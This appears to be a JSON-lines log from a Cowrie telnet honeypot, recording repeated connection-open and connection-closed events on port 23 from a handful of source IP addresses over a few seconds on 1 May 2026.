{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54892,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a4083ac19c7","protocol":"telnet","message":"New connection: 104.167.8.156:54892 (10.17.0.5:23) [session: 7a4083ac19c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:06.208291Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55076,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a54debc4ada","protocol":"telnet","message":"New connection: 104.167.8.156:55076 (10.17.0.5:23) [session: 3a54debc4ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:06.250683Z"}
{"eventid":"cowrie.session.closed","duration":30.543941020965576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:06.384707Z","src_ip":"104.167.8.156","session":"a3844069b46c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56006,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3faf3b26721","protocol":"telnet","message":"New connection: 104.167.8.156:56006 (10.17.0.5:23) [session: f3faf3b26721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:06.481268Z"}
{"eventid":"cowrie.session.closed","duration":31.060446977615356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:06.494996Z","src_ip":"104.167.8.156","session":"95869d9a14ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60222,"dst_ip":"10.17.0.5","dst_port":23,"session":"83fb617a43fa","protocol":"telnet","message":"New connection: 104.167.8.156:60222 (10.17.0.5:23) [session: 83fb617a43fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:06.601534Z"}
{"eventid":"cowrie.session.closed","duration":30.2627010345459,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:07.172846Z","src_ip":"104.167.8.156","session":"9a71fbc5cfeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99656319618225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:07.239785Z","src_ip":"98.70.41.28","session":"3d32e89a572c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":39216,"dst_ip":"10.17.0.5","dst_port":23,"session":"75b376d52db2","protocol":"telnet","message":"New connection: 108.61.251.217:39216 (10.17.0.5:23) [session: 75b376d52db2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:07.267094Z"}
{"eventid":"cowrie.session.closed","duration":31.128658056259155,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:07.305992Z","src_ip":"104.167.8.156","session":"af67fb933be6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.370527267456055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:07.451258Z","src_ip":"104.167.8.156","session":"370f10689531","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.233887434005737,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:07.471457Z","src_ip":"108.61.251.217","session":"f79a846b4ef5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47581195831299,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:07.475053Z","src_ip":"104.167.8.156","session":"1e460d327fbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35546,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc274cd96f56","protocol":"telnet","message":"New connection: 104.167.8.156:35546 (10.17.0.5:23) [session: bc274cd96f56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:07.538375Z"}
{"eventid":"cowrie.session.closed","duration":43.980223178863525,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:07.566029Z","src_ip":"188.208.141.113","session":"953912b6994a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.696534395217896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:07.588445Z","src_ip":"104.167.8.156","session":"336660969d22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36092,"dst_ip":"10.17.0.5","dst_port":23,"session":"f66dab431861","protocol":"telnet","message":"New connection: 104.167.8.156:36092 (10.17.0.5:23) [session: f66dab431861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:07.661057Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":42578,"dst_ip":"159.203.135.109","dst_port":23,"session":"732f0fc339ff","protocol":"telnet","message":"New connection: 98.70.41.28:42578 (159.203.135.109:23) [session: 732f0fc339ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:07.751918Z"}
{"eventid":"cowrie.session.closed","duration":31.505422830581665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:07.763858Z","src_ip":"104.167.8.156","session":"57f373bbae60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36762,"dst_ip":"10.17.0.5","dst_port":23,"session":"caa4f94e8765","protocol":"telnet","message":"New connection: 104.167.8.156:36762 (10.17.0.5:23) [session: caa4f94e8765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:07.910419Z"}
{"eventid":"cowrie.session.closed","duration":31.35479497909546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:07.944406Z","src_ip":"108.61.251.217","session":"24a3f5b39824","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59004,"dst_ip":"10.17.0.5","dst_port":23,"session":"614ec0a6653c","protocol":"telnet","message":"New connection: 188.208.141.113:59004 (10.17.0.5:23) [session: 614ec0a6653c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:08.069123Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59020,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b96a06d4e0c","protocol":"telnet","message":"New connection: 188.208.141.113:59020 (10.17.0.5:23) [session: 3b96a06d4e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:08.076622Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37572,"dst_ip":"10.17.0.5","dst_port":23,"session":"957a453e49a4","protocol":"telnet","message":"New connection: 104.167.8.156:37572 (10.17.0.5:23) [session: 957a453e49a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:08.158905Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37770,"dst_ip":"10.17.0.5","dst_port":23,"session":"25864522069c","protocol":"telnet","message":"New connection: 104.167.8.156:37770 (10.17.0.5:23) [session: 25864522069c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:08.225798Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":39262,"dst_ip":"10.17.0.5","dst_port":23,"session":"b85b9db40eae","protocol":"telnet","message":"New connection: 108.61.251.217:39262 (10.17.0.5:23) [session: b85b9db40eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:08.342373Z"}
{"eventid":"cowrie.session.closed","duration":30.854016304016113,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:08.445140Z","src_ip":"98.70.41.28","session":"6e4d42d6bc2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56522,"dst_ip":"10.17.0.5","dst_port":23,"session":"df3ae8ea979c","protocol":"telnet","message":"New connection: 104.167.8.156:56522 (10.17.0.5:23) [session: df3ae8ea979c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:08.620975Z"}
{"eventid":"cowrie.session.closed","duration":31.617262601852417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:08.627657Z","src_ip":"108.61.251.217","session":"eaa2d0b51682","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.555848836898804,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:08.633451Z","src_ip":"104.167.8.156","session":"2ef6d1e8eac0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":42602,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc22bfd6ed18","protocol":"telnet","message":"New connection: 98.70.41.28:42602 (159.203.135.109:23) [session: fc22bfd6ed18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:08.708438Z"}
{"eventid":"cowrie.session.closed","duration":31.322776794433594,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:08.827922Z","src_ip":"108.61.251.217","session":"410b47d7d69f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36886,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0df711e3529","protocol":"telnet","message":"New connection: 104.167.8.156:36886 (10.17.0.5:23) [session: b0df711e3529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:08.950908Z"}
{"eventid":"cowrie.session.closed","duration":31.103368520736694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:09.137353Z","src_ip":"104.167.8.156","session":"51bfb1030f4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37818,"dst_ip":"10.17.0.5","dst_port":23,"session":"00a14c57a9e4","protocol":"telnet","message":"New connection: 104.167.8.156:37818 (10.17.0.5:23) [session: 00a14c57a9e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:09.237192Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59046,"dst_ip":"10.17.0.5","dst_port":23,"session":"2677903016c6","protocol":"telnet","message":"New connection: 188.208.141.113:59046 (10.17.0.5:23) [session: 2677903016c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:09.242108Z"}
{"eventid":"cowrie.session.closed","duration":30.69225811958313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:09.393583Z","src_ip":"104.167.8.156","session":"70ee5fac02e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59528,"dst_ip":"10.17.0.5","dst_port":23,"session":"46b771afb061","protocol":"telnet","message":"New connection: 104.167.8.156:59528 (10.17.0.5:23) [session: 46b771afb061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:09.457273Z"}
{"eventid":"cowrie.session.closed","duration":31.09094762802124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:09.467290Z","src_ip":"104.167.8.156","session":"533b728b71fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.381627321243286,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:09.558221Z","src_ip":"104.167.8.156","session":"0e08f4d7d767","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60018,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7bf56a830b2","protocol":"telnet","message":"New connection: 104.167.8.156:60018 (10.17.0.5:23) [session: a7bf56a830b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:09.562964Z"}
{"eventid":"cowrie.session.closed","duration":30.987908601760864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:09.792682Z","src_ip":"104.167.8.156","session":"475d64a52849","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.538202047348022,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:09.810704Z","src_ip":"104.167.8.156","session":"f4ae2be9bcdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43562,"dst_ip":"10.17.0.5","dst_port":23,"session":"e54f2d309e64","protocol":"telnet","message":"New connection: 104.167.8.156:43562 (10.17.0.5:23) [session: e54f2d309e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:09.918038Z"}
{"eventid":"cowrie.session.closed","duration":31.335646152496338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:09.931707Z","src_ip":"108.61.251.217","session":"902f13b31106","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40262,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9d4f8015a3e","protocol":"telnet","message":"New connection: 104.167.8.156:40262 (10.17.0.5:23) [session: c9d4f8015a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:10.024841Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":39320,"dst_ip":"10.17.0.5","dst_port":23,"session":"3018d32f3131","protocol":"telnet","message":"New connection: 108.61.251.217:39320 (10.17.0.5:23) [session: 3018d32f3131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:10.120677Z"}
{"eventid":"cowrie.session.closed","duration":30.52813482284546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:10.128680Z","src_ip":"104.167.8.156","session":"0a7a40be7973","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73725700378418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:10.141205Z","src_ip":"104.167.8.156","session":"8d0f12474022","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40650,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f217050649c","protocol":"telnet","message":"New connection: 104.167.8.156:40650 (10.17.0.5:23) [session: 3f217050649c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:10.160851Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34932,"dst_ip":"10.17.0.5","dst_port":23,"session":"4866151050f1","protocol":"telnet","message":"New connection: 104.167.8.156:34932 (10.17.0.5:23) [session: 4866151050f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:10.368468Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42402,"dst_ip":"10.17.0.5","dst_port":23,"session":"cda1b0ecd501","protocol":"telnet","message":"New connection: 104.167.8.156:42402 (10.17.0.5:23) [session: cda1b0ecd501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:10.634873Z"}
{"eventid":"cowrie.session.closed","duration":31.469197511672974,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:10.675199Z","src_ip":"104.167.8.156","session":"e5c6c74e2ec0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.205098867416382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:10.731369Z","src_ip":"104.167.8.156","session":"4f61a67d56b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.464622020721436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:10.818883Z","src_ip":"108.61.251.217","session":"5cd0c1a62c53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.282747268676758,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:10.828506Z","src_ip":"98.70.41.28","session":"9042e025ae5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.187944889068604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:10.864340Z","src_ip":"104.167.8.156","session":"4b39f42d1274","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":39378,"dst_ip":"10.17.0.5","dst_port":23,"session":"66d5d36191c0","protocol":"telnet","message":"New connection: 108.61.251.217:39378 (10.17.0.5:23) [session: 66d5d36191c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:10.895232Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47518,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1fbbffaf4bb","protocol":"telnet","message":"New connection: 104.167.8.156:47518 (10.17.0.5:23) [session: c1fbbffaf4bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:10.994534Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47674,"dst_ip":"10.17.0.5","dst_port":23,"session":"62fec43e4979","protocol":"telnet","message":"New connection: 104.167.8.156:47674 (10.17.0.5:23) [session: 62fec43e4979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:11.033396Z"}
{"eventid":"cowrie.session.closed","duration":30.98902654647827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:11.142091Z","src_ip":"98.70.41.28","session":"3291e31996a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.155137300491333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:11.146739Z","src_ip":"104.167.8.156","session":"3db0fcdc6047","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.826636791229248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:11.181199Z","src_ip":"104.167.8.156","session":"ee41aa47011d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.574700593948364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:11.200128Z","src_ip":"108.61.251.217","session":"80afa99d343b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.972241401672363,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:11.250341Z","src_ip":"104.167.8.156","session":"13bb3181ad24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50226402282715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:11.278530Z","src_ip":"104.167.8.156","session":"ae3993899266","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.607194423675537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:11.295185Z","src_ip":"104.167.8.156","session":"3d881370393d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28686761856079,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:11.307853Z","src_ip":"98.70.41.28","session":"81a1c4005be2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.225611209869385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:11.314480Z","src_ip":"104.167.8.156","session":"fa3b8ff35e21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":39402,"dst_ip":"10.17.0.5","dst_port":23,"session":"533c46eed5ff","protocol":"telnet","message":"New connection: 108.61.251.217:39402 (10.17.0.5:23) [session: 533c46eed5ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:11.423923Z"}
{"eventid":"cowrie.session.closed","duration":31.05081868171692,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:11.520287Z","src_ip":"104.167.8.156","session":"f1fa0a048d07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.443299293518066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:11.634598Z","src_ip":"104.167.8.156","session":"dc46d075fc58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50880,"dst_ip":"10.17.0.5","dst_port":23,"session":"888fd2de3a19","protocol":"telnet","message":"New connection: 104.167.8.156:50880 (10.17.0.5:23) [session: 888fd2de3a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:11.887681Z"}
{"eventid":"cowrie.session.closed","duration":30.524753093719482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:12.040774Z","src_ip":"104.167.8.156","session":"00885f879724","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51548,"dst_ip":"10.17.0.5","dst_port":23,"session":"93b63e816a52","protocol":"telnet","message":"New connection: 104.167.8.156:51548 (10.17.0.5:23) [session: 93b63e816a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:12.100586Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48050,"dst_ip":"10.17.0.5","dst_port":23,"session":"f80abee4f7fb","protocol":"telnet","message":"New connection: 104.167.8.156:48050 (10.17.0.5:23) [session: f80abee4f7fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:12.126238Z"}
{"eventid":"cowrie.session.closed","duration":31.218196392059326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:12.200652Z","src_ip":"104.167.8.156","session":"cf31a868d0ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48526,"dst_ip":"10.17.0.5","dst_port":23,"session":"98ce3a375715","protocol":"telnet","message":"New connection: 104.167.8.156:48526 (10.17.0.5:23) [session: 98ce3a375715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:12.241033Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48768,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe221995a5b2","protocol":"telnet","message":"New connection: 104.167.8.156:48768 (10.17.0.5:23) [session: fe221995a5b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:12.304483Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49078,"dst_ip":"10.17.0.5","dst_port":23,"session":"146a41cad3fc","protocol":"telnet","message":"New connection: 104.167.8.156:49078 (10.17.0.5:23) [session: 146a41cad3fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:12.382349Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":39432,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a1af06947e5","protocol":"telnet","message":"New connection: 108.61.251.217:39432 (10.17.0.5:23) [session: 1a1af06947e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:12.449842Z"}
{"eventid":"cowrie.session.closed","duration":30.931151390075684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:12.575391Z","src_ip":"108.61.251.217","session":"5c71cad1ff2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67317771911621,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:12.629457Z","src_ip":"104.167.8.156","session":"48cafeed1994","protocol":"telnet"}
